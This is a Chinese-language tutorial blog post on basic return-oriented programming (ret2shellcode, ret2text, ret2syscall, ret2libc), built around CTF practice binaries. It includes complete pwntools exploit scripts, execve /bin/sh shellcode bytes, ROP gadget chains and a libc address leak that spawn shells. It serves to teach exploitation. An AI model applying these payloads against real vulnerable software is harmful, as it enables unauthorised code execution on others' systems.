初探ROP

0x01 前言

在瞭解棧溢出後,我們再從原理和方法兩方面深入理解基本ROP。

0x02 什麼是ROP

ROP的全稱爲Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防禦(比如內存不可執行和代碼簽名等)。通過上一篇文章走進棧溢出,我們可以發現棧溢出的控制點是ret處,那麼ROP的核心思想就是利用以ret結尾的指令序列把棧中的應該返回EIP的地址更改成我們需要的值,從而控制程序的執行流程。

0x03 爲什麼要ROP

探究原因之前,我們先看一下什麼是NX(DEP)
NX即No-execute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識爲不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。
隨着 NX 保護的開啓,以往直接向棧或者堆上直接注入代碼的方式難以繼續發揮效果。所以就有了各種繞過辦法,rop就是一種

0x04 基本ROP

ret2shellcode

含義

我們先看這個,顧名思義,ret to shellcode,就是將返地址覆蓋到我們插入shellcode的首地址。

從原理中解析ret2shellcode

先通過一個小程序回顧一下棧溢出利用過程:

#include <stdio.h>
#include <stdlib.h>
char buf[10];
int main(int arg, char **args)
{
	char s[10]; 
  	puts("start !!!");
  	gets(s);
  	strncpy(buf, s, 10);
  	printf(buf);
  	printf("\nend !!!");
  	return 0;
}

在這裏插入圖片描述

可以知道s所在位置爲esp+0x16,esp=0x0061FE80,那麼s所在位置爲61FF96,也就是ebp-0x12,因此填充18個字符即可滿足溢出的臨界條件

在這裏插入圖片描述

利用IDA找到buf的地址0x004053E0,在BSS段。
這裏普及一下是BSS段:BSS段通常是指用來存放程序中未初始化的或者初始化爲0的全局變量和靜態變量的一塊內存區域。特點是可讀寫的,在程序執行之前BSS段會自動清0。
既然可讀寫那麼只要能夠在棧內寫入的payload,然後再轉移到此處,並且執行權限就可以控制。
通過strncpy函數達到這一目的

從例子中解析ret2shellcode

來看一個例子:ret2shellcode

發現利用點

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

在IDA中能夠發現兩點:
一、存在棧溢出
二、能利用寫入/bin/sh進行getshell

確定利用前提

此時只需要確定是否開啓NX和bss段是否可以執行
首先檢查保護機制

在這裏插入圖片描述

然後在IDA中確定buf2的BSS段位置

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

查看該BSS段是否具有執行權限

在這裏插入圖片描述

一切完成後,可以發現這個文件可以進行ret2shellcode

調試

在get處設置斷點,來確定s變量與ebp的距離,可以看到 s 的地址爲 0xffffbe3c,計算一下得出 s 相對於 ebp 的偏移爲 0x6c。

這裏爲什麼要在get處設置斷點?
因爲知道s的地址才能計算出相對於ebp的偏移,此處esp剛好存儲s的的地址
0x804858c <main+95>:	lea    eax,[esp+0x1c]
0x8048590 <main+99>:	mov    DWORD PTR [esp],eax
當然您可以選擇其它位置,只不過這裏更便捷。

在這裏插入圖片描述

可以知道溢出的臨界點與觸發地址還有一個4個字節的間隔
所以payload的結構是含有shellcode的6c個字節+4個字節+buf2地址

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))  //含有shellcode的6c個字節+4個字節+buf2地址
sh.interactive()

擴展點

>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
>>> asm(shellcraft.sh()).ljust(112, 'A')
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
所以我們也可以直接構造,pwntools提供了shellcraft模塊更方便。
shellcraft模塊是shellcode的模塊,包含一些生成shellcode的函數。
這裏的shellcraft.sh()則是執行/bin/sh的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
shellcode.ljust(112, 'A') + p32(buf2_addr)

ret2text

含義

顧名思義,ret to text,也就是說我們的利用點在原文件中尋找即可,控制程序執行程序本身已有的的代碼 (.text)。

從例子中解析ret2text

來看一個例子:ret2text

發現利用點

IDA查看找到構成棧溢出漏洞的條件

在這裏插入圖片描述

確定利用前提

開啓了NX,棧上無法寫入shellcode

在這裏插入圖片描述

那麼我們尋找程序中是否存在/bin/sh或者systerm()等
在IDA的Strings窗口找到/bin/sh

LOAD:08048154	00000013	C	/lib/ld-linux.so.2
LOAD:080482C9	0000000A	C	libc.so.6
LOAD:080482D3	0000000F	C	_IO_stdin_used
LOAD:080482E2	00000005	C	gets
LOAD:080482E7	00000006	C	srand
LOAD:080482ED	0000000F	C	__isoc99_scanf
LOAD:080482FC	00000005	C	puts
LOAD:08048301	00000005	C	time
LOAD:08048306	00000006	C	stdin
LOAD:0804830C	00000007	C	printf
LOAD:08048313	00000007	C	stdout
LOAD:0804831A	00000007	C	system
LOAD:08048321	00000008	C	setvbuf
LOAD:08048329	00000012	C	__libc_start_main
LOAD:0804833B	0000000F	C	__gmon_start__
LOAD:0804834A	0000000A	C	GLIBC_2.7
LOAD:08048354	0000000A	C	GLIBC_2.0
.rodata:08048763	00000008	C	/bin/sh
.rodata:0804876C	00000037	C	There is something amazing here, do you know anything?
.rodata:080487A4	00000022	C	Maybe I will tell you next time !
.eh_frame:08048833	00000005	C	;*2$\"

雙擊找到地址,那就是我們溢出到EIP的地址

在這裏插入圖片描述

調試

因爲原理相似,不再贅述,詳細見ret2shellcode

ret2syscall

含義

顧名思義,ret to syscall,就是調用系統函數達到目的

從例子中解析ret2syscall的方法

那麼這裏我們來深入瞭解一下什麼是ret2syscall?爲什麼可以ret2syscall?
在深入瞭解之前,先從一個例子rop中快速過一下方法
IDA中查看僞代碼

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

與上面兩個例子相似,原理詳細見ret2shellcode,但是獲取/bin/sh則需要使用系統調用來獲取,也就是ret2syscall專屬方法,下面我們就說一下這個專屬方法。
首先什麼是系統調用?

在計算中,系統調用是一種編程方式,計算機程序從該程序中向執行其的操作系統內核請求服務。這可能包括與硬件相關的服務(例如,訪問硬盤驅動器),創建和執行新進程以及與諸如進程調度之類的集成內核服務進行通信。系統調用提供了進程與操作系統之間的基本接口。

至於系統調用在其中充當什麼角色,稍後再看
現在我們要做的是:
讓程序調用execve("/bin/sh",NULL,NULL)函數即可拿到shell
調用此函數的具體的步驟是這樣的:
因爲該程序是 32 位,所以我們需要使得
系統調用號,即 eax 應該爲 0xb
第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
第二個參數,即 ecx 應該爲 0
第三個參數,即 edx 應該爲 0
最後再執行int 0x80觸發中斷即可執行execve()獲取shell

我們來看這一套流程:
1、存在棧溢出
2、使用ret2syscall手法進行操作
第一步與前兩個方法一樣,怎麼樣去偏移怎麼去覆蓋不再贅述,詳見ret2shellcode,第二步ret2syscall手法也是中規中矩,照貓畫虎即可。

細說系統調用在ret2syscall的作用

我們這裏要說一說系統調用在其中充當了什麼角色,這樣才能更好地理解爲什麼要ret2syscall。

一探系統調用

從用戶態到內核態

先對這三個詞的概念進行了解一下

用戶態:user_space(或用戶空間)是指在操作系統內核之外運行的所有代碼。user_space通常是指操作系統用於與內核交互的各種程序和庫:執行輸入/輸出,操縱文件系統對象的軟件,應用程序軟件等。也就是上層應用程序的活動空間,應用程序的執行必須依託於內核提供的資源
內核態:控制計算機的硬件資源,並提供上層應用程序運行的環境,cpu可以訪問內存的所有數據,包括外圍設備,例如硬盤,網卡,cpu也可以將自己從一個程序切換到另一個程序。
兩中空間的分離可提供內存保護和硬件保護,以防止惡意或錯誤的軟件行爲。
系統調用:爲了使上層應用能夠訪問到這些資源,內核爲上層應用提供訪問的接口。

大致的關係如下:

在這裏插入圖片描述

再看一下系統調用的基本過程:
開始時應用程序準備參數,發出調用請求,然後glibc中也就是c標準庫封裝函數引導,執行系統調用,這裏我們只探討到這兩個過程。
可以發現上述兩個過程從用戶態(第一步)過渡到內核態(第二步),系統調用就是中間的過渡件,我們能控制的地方就是用戶態,然後通過系統調用控制到內核態。
先看一個程序

section	.text
	global _start 
_start:
	mov	edx, len      ;message length
	mov	ecx, msg     ;message to write
	mov	ebx, 1	    ;file descriptor (stdout)
	mov	eax, 4	    ;system call number (sys_write)
	int	0x80            ;call kernel
	mov	eax, 1	    ;system call number (sys_exit)
	int	0x80            ;call kernel

section	.data
msg	db	'Hello World',0xa
len	equ	$ - msg	

可以發現該程序通過調用sys_write函數進行輸出Hello World,那麼sys_write()是什麼?

sys_write(unsigned int fd, const char __user *buf, size_t count);

可以發現前三個mov指令是把該函數需要的參數放進相應寄存器中,然後把sys_write的系統調用號放在EAX寄存器中,然後執行int 0x80觸發中斷即可執行sys_call(),那麼問題就來了:
這幾個寄存器有什麼作用?
爲什麼int 0x80?
int 0x80後發生了什麼?
帶着問題我們繼續往下看

二探系統調用

set_system_gate

爲何int 0x80?
在系統文件中有這麼一行代碼

set_system_gate(0x80,&system_call);

在系統啓動的時候,系統會在sched_init(void)函數中調用set_system_gate(0x80,&system_call),設置中斷向量號0x80的中斷描述符,也就是說實現了系統調用 (處理過程system_call)和 int 0x80中斷的對應,進而通過此中斷號用EAX實現不同子系統的調用。
詳細瞭解,參見《linux 0.12》
int 0x80後發生了什麼?
經過初始化以後,每當執行 int 0x80 指令時,產生一個異常使系統陷入內核空間並執行128號異常處理程序,也就是綁定後的函數,即系統調用處理程序 system_call(),此時CPU完成從用戶態到內核態切換,開始執行system_call()。

system_call()

當進入system_call()後,主要做了兩件事(我們關心的事情,其它的事情忽略,有興趣可以去了解)
首先處理中斷前設置環境的過程
然後找到實際處理在入口
規定:數值會放在eax,ebx,ecx,edx,參數一般爲4個
所以ebx,ecx,edx會被壓入棧中設置環境(也就是函數所需要的參數),當然ds、es等也要壓入,這裏不是我們考慮的範圍內,有興趣可以去了解。
然後就會調用call_sys_call_table(,%eax,4)來實現相應系統函數的調用。
那麼從大門進入後怎麼知道進那個小門(系統函數)呢?
存在這麼一個數組——sys_call_table(對應的處理函數少部分在這裏面進行處理),處理函數功能號對應sys_call_table[]的下標,sys_execve()函數的下標就是11,也就是0xb。
此刻應該會明朗了,那麼我們言歸正傳,回到ret2syscall來。

從例子中再次解析ret2syscall

創造條件

通過以上的瞭解,我們知道如果要執行execve("/bin/sh",NULL,NULL)函數我們需要這樣做:

; NASM
int execve(const char *filename, char *const argv[], char *const envp[]); 
mov eax, 0xb                ; execve系統調用號爲11
mov ebx, filename   
mov ecx, argv
mov edx, envp
int 0x80                    ; 觸發系統調用

其中,execve()執行程序由 filename決定。
filename必須是一個二進制的可執行文件,或者是一個腳本以#!格式開頭的解釋器參數參數。
記得當時考(ku)研(bi)觀看張宇老師視頻時的一句話:大手一揮,毛**(敏感詞彙,不能被審覈成功)說,沒有條件要創造條件。那麼我們也要小手一揮,沒有條件創造條件。
上面也提到了,我們只能控制用戶態的操作,也就是上面程序類似mov指令的操作。
那麼怎麼做呢?
這裏需要ret2syscall的特有操作
之前已經知道各個寄存器的需要的內容了,此時就要想辦法把這些值存儲進對應的寄存器中
迴歸詞意,ret to syscall,也就是找ret結尾的片段,比如把EAX置爲0xb,執行以下程序即可完成。

pop eax
ret

當然父程序通過棧溢出,執行ret後棧頂值爲0xb,這樣再調用此片段(父程序的ret addr爲此片段的首地址),EAX寄存器就會置爲0xb,後面詳細解讀過程。
如果有多個片段連接起來不就可以把四個寄存器置爲相應的值了嗎

在這裏插入圖片描述

只要用戶態棧空間能夠控制成這樣(只是舉例其中的一種排列方式)就可以達到ret2syscall的目的
簡單分析一下流程:
1、成功溢出
2、通過ret指令使得EIP指向pop eax;的地址
3、執行pop eax;棧頂值0xb成功出棧,棧頂指針下移
4、通過ret指令使得EIP指向pop ebx;的地址

一切都清楚後,下面就開始進行創造條件

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

選取其中一個就可以,比如可以選擇第一行,那麼你的用戶態棧內容按照第一個的指令進行變化,出棧四次,然後纔可以將ESP值置爲下一個條件(pop ebx;)的地址,也就是說0xb+‘AAAA’+‘AAAA’+‘AAAA’+addr(pop ebx;),因此我們不如選擇第二行。

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

簡單展示部分內容,與上一個選取原理是一樣的,爲了方便,我們選擇最後一行。

pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
pwn@pwn-PC:~/Desktop$ ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

條件已經創造完了,萬事俱備,只欠東風,現在只需要把這些條件串聯起來就可以實現ret2syscall,我們從下圖來能夠看到,ESP指針依次下移,直到指向int 0x80觸發中斷。

在這裏插入圖片描述

payload

from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc

對於ret2libc,借用ctfwiki的三個例子詳細解讀其中的原理和利用過程。

含義

我們知道,操作系統通常使用動態鏈接的方法來提高程序運行的效率。那麼在動態鏈接的情況下,程序加載的時候並不會把鏈接庫中所有函數都一起加載進來,而是程序執行的時候按需加載。也就是控制執行 libc(對應版本) 中的函數,通常是返回至某個函數的 plt 處或者函數的具體位置 (即函數對應的 got 表項的內容)。一般情況下,我們會選擇執行 system(“/bin/sh”)(或者execve("/bin/sh",NULL,NULL)),故而此時我們需要知道 system 函數的地址,具體可以移步深入理解GOT表和PLT表

初探ret2libc

上面已經提到了,我們只要可以執行類似system(“/bin/sh”)的函數即可獲取shell,在存在溢出的程序中我們在一般怎麼去執行此函數呢?
大致可以分爲三類:
一、"/bin/sh"字符串和system函數都可以在程序找到
二、二者其一找不到(一般爲"/bin/sh"字符串找不到)
三、二者都沒有
無論是哪一種情況,我們需要找到"/bin/sh"字符串和system()函數,並且堆棧位置如下:

在這裏插入圖片描述

當然還需瞭解一下x86對於形參的處理,就可以知道上圖的“任意四字符”處爲返回地址,因爲我們不用考慮程序後續怎去正常運行,達到getshell的目的即可,程序的具體執行過程可以參照走進棧溢出

在這裏插入圖片描述

那麼我們分開說一下怎去利用。

再探ret2libc

先看一個簡單的例子, 也就是我們說的第一種情況。
檢查保護機制,程序爲32位並且開了NX保護,繼續反編譯從僞代碼可以發現gets()處導致棧溢出,對於以上步驟,本文已經詳細講述過,不再贅述,以下兩種情況的分析也直接省去該過程。
按照上述的理論,我們在IDA的Stings中可以找到"/bin/sh",在Functions中可以找到system()函數

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048460 command         = dword ptr  4
.plt:08048460                 jmp     ds:off_804A018
.plt:08048460 _system         endp

找到0x08048720和0x08048460後,按照上圖所示的堆棧位置構造payload:

binsh_addr = 0x8048720
system_plt = 0x8048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])

三探ret2libc

在這一節,首先說一下第二種情況的例子。可以發現在IDA中只能找到system()函數的plt地址,卻沒有看到"/bin/sh"字符串的蹤影

.plt:08048490 ; int system(const char *command)
.plt:08048490 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048490 command         = dword ptr  4
.plt:08048490                 jmp     ds:off_804A01C
.plt:08048490 _system         endp

沒有了"/bin/sh"字符串,就沒辦法獲取shell,那麼我們就得創造條件。
除了現成的內容,我們也可以人工輸入,那麼就需要gets()函數來實現這一目的,因此目前的結構應該如下圖所示。

在這裏插入圖片描述

當然也可以進行堆棧平衡,在執行完gets()函數後提升堆棧(add esp, 4),堆棧位置如下:

程序在讀寫數據的時候是通過地址查找的,如果函數調用之前的堆棧與函數調用之後的堆棧不一致,就可能導致找不到數據或找到的數據錯誤,那麼久有可能導致程序崩潰。

在這裏插入圖片描述

這樣構造使得我們的堆棧邏輯更好看,一個函數一個函數的順序執行,從壓入形參到結束,顯得有條理,但是隻要達到目的即可,第一種或許更方便一些。
那麼採取第一種做法,找到相應的地址

.plt:08048460 _gets           proc near               ; CODE XREF: main+72↓p
.plt:08048460 s               = dword ptr  4
.plt:08048460                 jmp     ds:off_804A010
.plt:08048460 _gets           endp

如同ret2shellcode一節中做法一樣,在bss段找到一個數組,確保其有執行權限

.bss:0804A080 ; char buf2[100]

完成這些步驟後,就可以構造payload了

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat(['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')

繼續來看第三種情況,如果什麼都沒有,我們怎麼去一個一個去創造條件?
對於’/bin/sh’字符串的構造已經知道了,剩下的就是怎麼找到system函數
這裏需要事先了解下動態鏈接時GOT表和PLT表的作用,可以參考深入理解GOT表和PLT表 此文。
可以發現,GOT表的第三項調用_dl_runtimw_resolve將真正的函數地址,也就是glibc運行庫中的函數的地址,回寫到代碼段,就是got[n](n>=3)中。也就是說在函數第一次調用的時,才通過連接器動態解析並加載到.got.plt中,而這個過程稱之爲延時加載或者惰性加載。
目前的思路就是,通過棧溢出泄露某函數(一般爲泄露 __libc_start_main 地址,這裏選擇泄露put函數)的GOT表地址,然後根據偏移量(libc中函數與函數之間的距離時固定的)來計算出system()的地址,有了’/bin/sh’也有了system,shell自然就有了,如下圖所示。

在這裏插入圖片描述

使用pwntools編寫

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = flat(["A" * 112, puts_plt,  "A"  * 4, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))
print "[*]puts addr: " + hex(puts_addr)

可以發現通過相應的模塊可以順利獲取puts函數的真實地址(也就是GOT表中存儲的地址)

pwn@pwn-PC:~/Desktop$ python ret2libc.py 
[+] Starting local process './ret2libc3': pid 45169
[*] '/home/pwn/Desktop/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] u'/usr/lib/i386-linux-gnu/libc-2.24.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*]puts addr: 0xf7d6f880
[*] Stopped process './ret2libc3' (pid 45169)

那麼問題來了?
此處的溢出用來獲取put函數的真實地址,怎麼再去進行執行system(‘bin/sh’)呢?如果存在兩個溢出點就完美了,可惜只有一個。
不過剛纔提到的返回地址,在這裏就有了用武之地了,它可以讓我們有“兩個”溢出點。如果put函數的返回地址可以回到函數的入口,不就可以再執行一遍gets(溢出點)了嗎?怎麼構造之前簡單瞭解用戶代碼的入口和系統代碼的入口,在一個程序運行中有兩個入口,一個是main(),另一個是_start(),簡單來說,main()函數是用戶代碼的入口,是對用戶而言的;而_start()函數是系統代碼的入口,是程序真正的入口。這裏以main()函數作爲入口爲例,如下圖所示:

在這裏插入圖片描述

一目瞭然後,構造poc即可。先來梳理一下我們需要知道什麼條件:
一、puts函數的地址和真實地址
二、main函數的真實地址
三、system函數的真實地址
四、’/bin/sh’字符串的位置
條件一我們已經具備了,那麼怎麼搞定剩下的條件,以及堆棧位置。
怎麼獲取main、system和’/bin/sh’的真實地址呢?
當然與獲取put的真實地址一樣

main_addr = elf.symbols['main']
程序運行起來後main_addr就是真實地址了
之後相減獲取基址
libc.address = puts_addr - libc.symbols['puts']
然後獲取system和'/bin/sh'的地址
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

那麼直接構造exp

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(["A" * 112, puts_plt, main_addr, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))

libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
payload2 = flat(["B" * 104, system_addr, "B" * 4, binsh_addr])
sh.sendline(payload2)
sh.interactive()

泄露__libc_start_main地址,使用_start也是一樣的,懂得原理稍微改一下就可以,在ctfwiki 中引用了LibcSearcher

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

另外也可以根據第二種情況的思路,引入gets和buf來獲取字符串’/bin/sh’,如下圖所示

在這裏插入圖片描述

exp如下

from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(["A" * 112, puts_plt, main_addr, puts_got])
sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))

gets_plt = 0x08048440
buf2 = 0x804a080
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']

payload2 = flat(['a' * 104, gets_plt, system_addr, buf2, buf2])
sh.sendline(payload2)
sh.sendline('/bin/sh')
sh.interactive()

0x05 尾記

還未入門,詳細記錄每個知識點,爲了能更好地溫故知新,也希望能幫助和我一樣想要入門二進制安全的初學者,如有錯誤,希望大佬們指出。
另見:http://bey0nd.xyz/2020/03/15/1/
參考:
http://drops.xmd5.com/static/drops/tips-6597.html (蒸米大佬的文章,極力推薦)
https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh
http://www.cnblogs.com/elvirangel/p/7484772.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章